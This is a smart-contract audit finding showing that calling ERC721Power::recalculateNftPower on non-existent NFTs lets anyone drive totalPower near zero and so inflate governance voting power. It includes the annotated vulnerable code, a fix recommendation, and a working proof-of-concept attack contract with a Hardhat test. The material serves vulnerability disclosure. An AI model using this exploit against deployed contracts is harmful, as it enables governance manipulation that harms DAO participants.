Attacker can at anytime dramatically lower `ERC721Power::totalPower` close to 0
Attacker can at anytime dramatically lower `ERC721Power::totalPower` close to 0 using a permission-less attack contract by taking advantage of being able to call `ERC721Power::recalculateNftPower()` & `getNftPower()` for non-existent nfts:\\n```\\nfunction getNftPower(uint256 tokenId) public view override returns (uint256) {\\n    if (block.timestamp <= powerCalcStartTimestamp) {\\n        return 0;\\n    }\\n\\n    // @audit 0 for non-existent tokenId\\n    uint256 collateral = nftInfos[tokenId].currentCollateral;\\n\\n    // Calculate the minimum possible power based on the collateral of the nft\\n    // @audit returns default maxPower for non-existent tokenId\\n    uint256 maxNftPower = getMaxPowerForNft(tokenId);\\n    uint256 minNftPower = maxNftPower.ratio(collateral, getRequiredCollateralForNft(tokenId));\\n    minNftPower = maxNftPower.min(minNftPower);\\n\\n    // Get last update and current power. Or set them to default if it is first iteration\\n    // @audit both 0 for non-existent tokenId\\n    uint64 lastUpdate = nftInfos[tokenId].lastUpdate;\\n    uint256 currentPower = nftInfos[tokenId].currentPower;\\n\\n    if (lastUpdate == 0) {\\n        lastUpdate = powerCalcStartTimestamp;\\n        // @audit currentPower set to maxNftPower which\\n        // is just the default maxPower even for non-existent tokenId!\\n        currentPower = maxNftPower;\\n    }\\n\\n    // Calculate reduction amount\\n    uint256 powerReductionPercent = reductionPercent * (block.timestamp - lastUpdate);\\n    uint256 powerReduction = currentPower.min(maxNftPower.percentage(powerReductionPercent));\\n    uint256 newPotentialPower = currentPower - powerReduction;\\n\\n    // @audit returns newPotentialPower slightly reduced\\n    // from maxPower for non-existent tokenId\\n    if (minNftPower <= newPotentialPower) {\\n        return newPotentialPower;\\n    }\\n\\n    if (minNftPower <= currentPower) {\\n        return minNftPower;\\n    }\\n\\n    return currentPower;\\n}\\n\\nfunction recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {\\n    if (block.timestamp < powerCalcStartTimestamp) {\\n        return 0;\\n    }\\n\\n    // @audit newPower > 0 for non-existent tokenId\\n    newPower = getNftPower(tokenId);\\n\\n    NftInfo storage nftInfo = nftInfos[tokenId];\\n\\n    // @audit as this is the first update since\\n    // tokenId doesn't exist, totalPower will be\\n    // subtracted by nft's max power\\n    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);\\n    // @audit then totalPower is increased by newPower where:\\n    // 0 < newPower < maxPower hence net decrease to totalPower\\n    totalPower += newPower;\\n\\n    nftInfo.lastUpdate = uint64(block.timestamp);\\n    nftInfo.currentPower = newPower;\\n}\\n```\\n
`ERC721Power::recalculateNftPower()` should revert when called for non-existent nfts.
`ERC721Power::totalPower` lowered to near 0. This can be used to artificially increase voting power since `totalPower` is read when creating the snapshot and is used as the divisor in `GovUserKeeper::getNftsPowerInTokensBySnapshot()`.\\nThis attack is pretty devastating as `ERC721Power::totalPower` can never be increased since the `currentPower` of individual nfts can only ever be decreased; there is no way to "undo" this attack unless the nft contract is replaced with a new contract.\\nProof of Concept: Add attack contract mock/utils/ERC721PowerAttack.sol:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.4;\\n\\nimport "../../gov/ERC721/ERC721Power.sol";\\n\\nimport "hardhat/console.sol";\\n\\ncontract ERC721PowerAttack {\\n    // this attack can decrease ERC721Power::totalPower close to 0\\n    //\\n    // this attack works when block.timestamp > nftPower.powerCalcStartTimestamp\\n    // by taking advantage calling recalculateNftPower for non-existent nfts\\n    function attack2(\\n        address nftPowerAddr,\\n        uint256 initialTotalPower,\\n        uint256 lastTokenId,\\n        uint256 attackIterations\\n    ) external {\\n        ERC721Power nftPower = ERC721Power(nftPowerAddr);\\n\\n        // verify attack starts on the correct block\\n        require(\\n            block.timestamp > nftPower.powerCalcStartTimestamp(),\\n            "ERC721PowerAttack: attack2 requires block.timestamp > nftPower.powerCalcStartTimestamp"\\n        );\\n\\n        // verify totalPower() correct at starting block\\n        require(\\n            nftPower.totalPower() == initialTotalPower,\\n            "ERC721PowerAttack: incorrect initial totalPower"\\n        );\\n\\n        // output totalPower before attack\\n        console.log(nftPower.totalPower());\\n\\n        // keep calling recalculateNftPower() for non-existent nfts\\n        // this lowers ERC721Power::totalPower() every time\\n        // can't get it to 0 due to underflow but can get close enough\\n        for (uint256 i; i < attackIterations; ) {\\n            nftPower.recalculateNftPower(++lastTokenId);\\n            unchecked {\\n                ++i;\\n            }\\n        }\\n\\n        // output totalPower after attack\\n        console.log(nftPower.totalPower());\\n\\n        // original totalPower : 10000000000000000000000000000\\n        // current  totalPower : 900000000000000000000000000\\n        require(\\n            nftPower.totalPower() == 900000000000000000000000000,\\n            "ERC721PowerAttack: after attack finished totalPower should equal 900000000000000000000000000"\\n        );\\n    }\\n}\\n```\\n\\nAdd test harness to ERC721Power.test.js:\\n```\\n    describe("audit attacker can manipulate ERC721Power totalPower", () => {\\n      it("audit attack 2 dramatically lowers ERC721Power totalPower", async () => {\\n        // deploy the ERC721Power nft contract with:\\n        // max power of each nft = 100\\n        // power reduction 10%\\n        // required collateral = 100\\n        let maxPowerPerNft = toPercent("100");\\n        let requiredCollateral = wei("100");\\n        let powerCalcStartTime = (await getCurrentBlockTime()) + 1000;\\n\\n        // create power nft contract\\n        await deployNft(powerCalcStartTime, maxPowerPerNft, toPercent("10"), requiredCollateral);\\n\\n        // ERC721Power::totalPower should be zero as no nfts yet created\\n        assert.equal((await nft.totalPower()).toFixed(), toPercent("0").times(1).toFixed());\\n\\n        // create the attack contract\\n        const ERC721PowerAttack = artifacts.require("ERC721PowerAttack");\\n        let attackContract = await ERC721PowerAttack.new();\\n\\n        // create 10 power nfts for SECOND\\n        await nft.safeMint(SECOND, 1);\\n        await nft.safeMint(SECOND, 2);\\n        await nft.safeMint(SECOND, 3);\\n        await nft.safeMint(SECOND, 4);\\n        await nft.safeMint(SECOND, 5);\\n        await nft.safeMint(SECOND, 6);\\n        await nft.safeMint(SECOND, 7);\\n        await nft.safeMint(SECOND, 8);\\n        await nft.safeMint(SECOND, 9);\\n        await nft.safeMint(SECOND, 10);\\n\\n        // verify ERC721Power::totalPower has been increased by max power for all nfts\\n        assert.equal((await nft.totalPower()).toFixed(), maxPowerPerNft.times(10).toFixed());\\n\\n        // fast forward time to just after the start of power calculation\\n        await setTime(powerCalcStartTime);\\n\\n        // launch the attack\\n        await attackContract.attack2(nft.address, maxPowerPerNft.times(10).toFixed(), 10, 91);\\n      });\\n    });\\n```\\n\\nRun attack with: `npx hardhat test --grep "audit attack 2 dramatically lowers ERC721Power totalPower"`
```\\nfunction getNftPower(uint256 tokenId) public view override returns (uint256) {\\n    if (block.timestamp <= powerCalcStartTimestamp) {\\n        return 0;\\n    }\\n\\n    // @audit 0 for non-existent tokenId\\n    uint256 collateral = nftInfos[tokenId].currentCollateral;\\n\\n    // Calculate the minimum possible power based on the collateral of the nft\\n    // @audit returns default maxPower for non-existent tokenId\\n    uint256 maxNftPower = getMaxPowerForNft(tokenId);\\n    uint256 minNftPower = maxNftPower.ratio(collateral, getRequiredCollateralForNft(tokenId));\\n    minNftPower = maxNftPower.min(minNftPower);\\n\\n    // Get last update and current power. Or set them to default if it is first iteration\\n    // @audit both 0 for non-existent tokenId\\n    uint64 lastUpdate = nftInfos[tokenId].lastUpdate;\\n    uint256 currentPower = nftInfos[tokenId].currentPower;\\n\\n    if (lastUpdate == 0) {\\n        lastUpdate = powerCalcStartTimestamp;\\n        // @audit currentPower set to maxNftPower which\\n        // is just the default maxPower even for non-existent tokenId!\\n        currentPower = maxNftPower;\\n    }\\n\\n    // Calculate reduction amount\\n    uint256 powerReductionPercent = reductionPercent * (block.timestamp - lastUpdate);\\n    uint256 powerReduction = currentPower.min(maxNftPower.percentage(powerReductionPercent));\\n    uint256 newPotentialPower = currentPower - powerReduction;\\n\\n    // @audit returns newPotentialPower slightly reduced\\n    // from maxPower for non-existent tokenId\\n    if (minNftPower <= newPotentialPower) {\\n        return newPotentialPower;\\n    }\\n\\n    if (minNftPower <= currentPower) {\\n        return minNftPower;\\n    }\\n\\n    return currentPower;\\n}\\n\\nfunction recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {\\n    if (block.timestamp < powerCalcStartTimestamp) {\\n        return 0;\\n    }\\n\\n    // @audit newPower > 0 for non-existent tokenId\\n    newPower = getNftPower(tokenId);\\n\\n    NftInfo storage nftInfo = nftInfos[tokenId];\\n\\n    // @audit as this is the first update since\\n    // tokenId doesn't exist, totalPower will be\\n    // subtracted by nft's max power\\n    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);\\n    // @audit then totalPower is increased by newPower where:\\n    // 0 < newPower < maxPower hence net decrease to totalPower\\n    totalPower += newPower;\\n\\n    nftInfo.lastUpdate = uint64(block.timestamp);\\n    nftInfo.currentPower = newPower;\\n}\\n```\\n